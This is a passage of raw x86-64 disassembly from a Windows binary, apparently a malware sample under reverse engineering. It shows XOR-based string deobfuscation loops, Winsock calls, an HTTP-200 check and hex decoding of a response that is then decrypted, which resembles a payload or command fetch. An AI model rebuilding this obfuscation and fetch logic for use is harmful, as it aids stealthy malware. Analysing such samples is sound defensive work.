packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14001b9f0
cmp r8d, 0x11
jge 0x14001bb23
movsxd rax, r8d
lea r9, [rbp - 0x60]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14001baf0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
movsd xmm1, qword [0x140070fb8]
movsd qword [rsp + 0x60], xmm1
mov eax, dword [0x140070fc0]
mov dword [rsp + 0x68], eax
movzx eax, word [0x140070fc4]
mov word [rsp + 0x6c], ax
mov r8d, edi
cmp r14d, 2
jl 0x14001bc3b
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140070fb8]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14001bc50
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], rdi
mov qword [rbp + 0x90], rdi
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14001bca4
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x78]
call fcn.140029b10
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x58], 0
lea r9, [rsp + 0x60]
lea r8, [rbp + 0x58]
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0xa8]
call fcn.140011e90
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x14001bd43
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bd3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001bd3e
call fcn.140046c64
int3
call fcn.140037c50
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x58], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14001bd93
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bd8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001bd8d
call fcn.140046c64
int3
call fcn.140037c50
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x14001bdd3
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bdce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001bdce
call fcn.140046c64
int3
call fcn.140037c50
mov qword [rbp + 0x88], rdi
mov qword [rbp + 0x90], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x78], 0
mov esi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [0x140071300]
movups xmmword [rsp + 0x60], xmm1
cmp r14d, 2
jl 0x14001bf0d
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x60]
mov r8d, dword [rsp + 0x50]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14001be20
jmp 0x14001bf53
lea r9, [rsp + 0x60]
mov r8d, edi
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14001bf20
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], sil
jne 0x14001bf70
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140029b10
nop
mov rbx, qword [rbp + 0xa8]
lea rax, [rbp + 8]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x40], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
mov ecx, 0x60
call fcn.140037d78
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x50], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x58]
mov rcx, rbx
call fcn.1400109e0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.140029310
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14001c030
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c02b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c1c9
call fcn.140037c50
mov rax, qword [rbp + 0x58]
test rax, rax
je 0x14001c211
cmp dword [rax + 0x20], 0xc8
jne 0x14001c3e4
movsxd rbx, dword [rax + 0x68]
mov r12, rbx
mov rcx, rbx
call fcn.140038390
mov r15, rax
mov eax, ebx
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.140038390
mov r13, rax
mov esi, edi
mov rcx, rdi
test ebx, ebx
jle 0x14001c128
nop dword [rax + rax]
test sil, 1
jne 0x14001c117
mov eax, dword [0x140070a50]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x140070a54]
mov byte [rsp + 0x50], 0x25
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor al, 0x35
mov byte [rsp + 0x54], al
mov rdx, qword [rbp + 0x58]
add rdx, 0x58
lea rbx, [rcx + 1]
cmp qword [rdx + 0x18], 0xf
jbe 0x14001c0d3
mov r8, qword [rdx]
add r8, rbx
mov rdx, qword [rdx]
jmp 0x14001c0d7
lea r8, [rdx + rbx]
movsx r9d, byte [r8]
movsx r8d, byte [rdx + rcx]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x48]
call fcn.140001d30
xor edx, edx
mov r8d, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x48]
call fcn.1400418c4
movsxd rdx, dword [0x14009efcc]
mov byte [rdx + r13], al
inc edx
mov dword [0x14009efcc], edx
mov rcx, rbx
jmp 0x14001c11a
inc rcx
inc esi
cmp rcx, r12
jl 0x14001c080
mov ebx, r12d
mov eax, ebx
cdq
sub eax, edx
sar eax, 1
mov edx, eax
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x60]
lea r8, [rbp - 0x40]
mov rcx, r13
call fcn.1400012b0
mov dword [0x14009eeb8], eax
cdqe
mov byte [rax + r15], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r15 + r8], 0
jne 0x14001c170
mov rdx, r15
lea rcx, [rbp - 0x80]
call fcn.140029b10
mov rcx, qword [rbp + 0x58]
add rcx, 0x58
lea rdx, [rbp - 0x80]
call fcn.140022a80
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14001c1d4
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c1cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c1cf
call fcn.140046c64
int3
call fcn.140037c50
mov rcx, qword [rbp + 0x58]
add rcx, 0x58
cmp qword [rcx + 0x18], 0xf
jbe 0x14001c1e6
mov rcx, qword [rcx]
xor edx, edx
mov r8d, reloc.WS2_32.dll_recv
call fcn.1400418c4
mov esi, eax
mov rcx, qword gs:[0x30]
mov qword [0x14009efc0], rcx
lea r15, [0x14009edb0]
jmp 0x14001c3e4
mov edx, dword [rbp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140003770
mov rbx, rax
movsd xmm0, qword [str.yfgd]
movsd qword [rsp + 0x60], xmm0
mov ecx, dword [0x140070568]
mov dword [rsp + 0x68], ecx
movzx ecx, byte [0x14007056c]
mov byte [rsp + 0x6c], cl
mov r8d, edi
cmp r14d, 2
jl 0x14001c32d
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.yfgd]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14001c340
lea rdx, [rsp + 0x60]
lea rcx, [0x14009d8d0]
call fcn.140025ff0
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14001c391
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14002c510
mov rcx, rax
call fcn.140028cd0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14001c3e4
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c3de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c3de
call fcn.140046c64
int3
call fcn.140037c50
nop
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x68]
call fcn.140029310
mov rbx, qword [rbp + 0x58]
test rbx, rbx
je 0x14001c40f
mov rcx, rbx
call fcn.140003570
mov edx, 0x128
mov rcx, rbx
call fcn.140037c50
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0x98], rdi
mov qword [rbp + 0xa0], rdi
mov ecx, 0x60
call fcn.140037d78
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x98], rax
movzx eax, word [0x1400706b0]
mov word [rbp + 0x48], ax
movzx eax, byte [0x1400706b2]
mov byte [rbp + 0x48], 0x25
xor byte [rbp + 0x49], 0x32
xor al, 0x33
mov byte [rbp + 0x4a], al
mov r8d, esi
lea rax, [0x1400139d0]
xor r8, rax
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x1c0]
call fcn.140001d30
lea r9, [rbp - 0x60]
lea r8, [rbp - 0x40]
lea rdx, [0x14009eec0]
lea rcx, [rbp - 0x80]
call fcn.140015a50
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001c4b7
mov rdx, qword [rax]
movzx ecx, word [0x140070904]
mov word [rbp + 0x48], cx
jmp 0x14001c4c2
movzx eax, word [0x140070904]
mov word [rbp + 0x48], ax
movzx ecx, byte [0x140070906]
mov qword [rsp + 0x50], rdx
mov byte [rbp + 0x48], reloc.WS2_32.dll_WSAStartup
xor byte [rbp + 0x49], 0x32
xor cl, 0x33
mov byte [rbp + 0x4a], cl
lea rax, [rbp + 0x48]
mov qword [rbp + 0x50], rax
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x50]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x98]
call fcn.14002ff60
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14001c53c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c537
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c537
call fcn.140046c64
int3
call fcn.140037c50
lea rdx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova rdx, qword [rbp + 0xf8]
lea r9, [rbp - 0x60]
lea r8, [rbp - 0x40]
lea rcx, [rbp - 0x80]
call fcn.140015a50
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001c57e
mov rdx, qword [rax]
movzx ecx, word [0x140070b00]
mov word [rbp + 0x48], cx
jmp 0x14001c589
movzx eax, word [0x140070b00]
mov word [rbp + 0x48], ax
movzx ecx, byte [0x140070b02]
mov qword [rsp + 0x50], rdx
mov byte [rbp + 0x48], reloc.WS2_32.dll_WSAStartup
xor byte [rbp + 0x49], 0x32
xor cl, 0x33
mov byte [rbp + 0x4a], cl
lea rax, [rbp + 0x48]
mov qword [rbp + 0x50], rax
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x50]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x98]
call fcn.14002ff60
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14001c603
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c5fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c5fe
call fcn.140046c64
int3
call fcn.140037c50
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r15 + r8], 0
jne 0x14001c620
mov rdx, r15
lea rcx, [rbp - 0x80]
call fcn.140029b10
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x78]
call fcn.140037b10
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001c65d
mov rdx, qword [rax]
movzx ecx, word [0x140070690]
mov word [rbp + 0x48], cx
jmp 0x14001c668
movzx eax, word [0x140070690]
mov word [rbp + 0x48], ax
movzx ecx, byte [0x140070692]
mov qword [rsp + 0x50], rdx
mov byte [rbp + 0x48], reloc.WS2_32.dll_WSAStartup
xor byte [rbp + 0x49], 0x32
xor cl, 0x33
mov byte [rbp + 0x4a], cl
lea rax, [rbp + 0x48]
mov qword [rbp + 0x50], rax
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x50]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x98]
call fcn.14002ff60
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x14001c6e5
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c6e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c6e0
call fcn.140046c64
int3
call fcn.140037c50
lea r9, [rbp - 0x60]
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp - 0x80]
call fcn.140015a50
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001c717
mov rdx, qword [rax]
movzx ecx, word [0x140070908]
mov word [rbp + 0x48], cx
jmp 0x14001c722
movzx eax, word [0x140070908]
mov word [rbp + 0x48], ax
movzx ecx, byte [0x14007090a]
mov qword [rsp + 0x50], rdx
mov byte [rbp + 0x48], reloc.WS2_32.dll_WSAStartup
xor byte [rbp + 0x49], 0x32
xor cl, 0x33
mov byte [rbp + 0x4a], cl
lea rax, [rbp + 0x48]
mov qword [rbp + 0x50], rax
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x50]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x98]
call fcn.14002ff60
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14001c79c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c797
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c797
call fcn.140046c64
int3
call fcn.140037c50
mov eax, dword [0x140071260]
mov dword [rbp + 0x50], eax
cmp r14d, 2
jl 0x14001c80c
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x50], xmm1
jmp 0x14001c853
lea r9, [rbp + 0x50]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14001c820
lea r9, [rbp - 0x60]
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.140015a50
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001c882
mov rdx, qword [rax]
movzx ecx, word [0x140070578]
mov word [rbp + 0x48], cx
jmp 0x14001c88d
movzx eax, word [0x140070578]
mov word [rbp + 0x48], ax
movzx ecx, byte [0x14007057a]
mov qword [rsp + 0x50], rdx
mov byte [rbp + 0x48], reloc.WS2_32.dll_WSAStartup
xor byte [rbp + 0x49], 0x32
xor cl, 0x33
mov byte [rbp + 0x4a], cl
lea rax, [rbp + 0x48]
mov qword [rsp + 0x60], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x98]
call fcn.14002ff60
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14001c908
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c903
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c903
call fcn.140046c64
int3
call fcn.140037c50
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [0x1400710a0]
movups xmmword [rbp + 0x58], xmm1
movsd xmm0, qword [0x1400710b0]
movsd qword [rbp + 0x68], xmm0
movzx eax, byte [0x1400710b8]
mov byte [rbp + 0x70], al
mov r8d, edi
cmp r14d, 2
jl 0x14001ca53
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp + 0x58]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14001c960
cmp r8d, 0x19
jge 0x14001ca93
movsxd rax, r8d
lea r9, [rbp + 0x58]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14001ca60
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
lea rax, [rbp + 0x58]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001cab0
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x80]
call fcn.140029b10
nop
mov rbx, qword [rbp + 0xa8]
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov ecx, 0x60
call fcn.140037d78
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x98]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x78]
mov rcx, rbx
call fcn.140010bc0
nop
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.140029310
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14001cb68
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cb63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001cb63
call fcn.140046c64
int3
call fcn.140037c50
mov rax, qword [rbp + 0x78]
test rax, rax
je 0x14001f470
cmp dword [rax + 0x20], 0xc8
jne 0x14001f5de
movsxd rbx, dword [rax + 0x68]
mov r12, rbx
mov rcx, rbx
call fcn.140038390
mov r15, rax
mov eax, ebx
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.140038390
mov r13, rax
mov esi, edi
mov rdx, rdi
test ebx, ebx
jle 0x14001cc60
test sil, 1
jne 0x14001cc4f
mov rcx, qword [rbp + 0x78]
add rcx, 0x58
lea rbx, [rdx + 1]
cmp qword [rcx + 0x18], 0xf
jbe 0x14001cbdd
mov rax, qword [rcx]
lea r8, [rbx + rax]
lea r10, [rdx + rax]
jmp 0x14001cbe5
lea r8, [rbx + rcx]
lea r10, [rcx + rdx]
mov eax, dword [0x140070a50]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x140070a54]
mov byte [rsp + 0x50], 0x25
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor al, 0x35
mov byte [rsp + 0x54], al
movsx r9d, byte [r8]
movsx r8d, byte [r10]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x48]
call fcn.140001d30
xor edx, edx
mov r8d, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x48]
call fcn.1400418c4
movsxd rdx, dword [0x14009efd0]
mov byte [rdx + r13], al
inc edx
mov dword [0x14009efd0], edx
mov rdx, rbx
jmp 0x14001cc52
inc rdx
inc esi
cmp rdx, r12
jl 0x14001cbb3
mov ebx, r12d
mov eax, ebx
cdq
sub eax, edx
sar eax, 1
mov edx, eax
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x60]
lea r8, [rbp - 0x40]
mov rcx, r13
call fcn.1400012b0
mov dword [0x14009eeb8], eax
cdqe
mov byte [rax + r15], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r15 + r8], 0
jne 0x14001cca1
mov rdx, r15
lea rcx, [rbp - 0x80]
call fcn.140029b10
mov rcx, qword [rbp + 0x78]
add rcx, 0x58
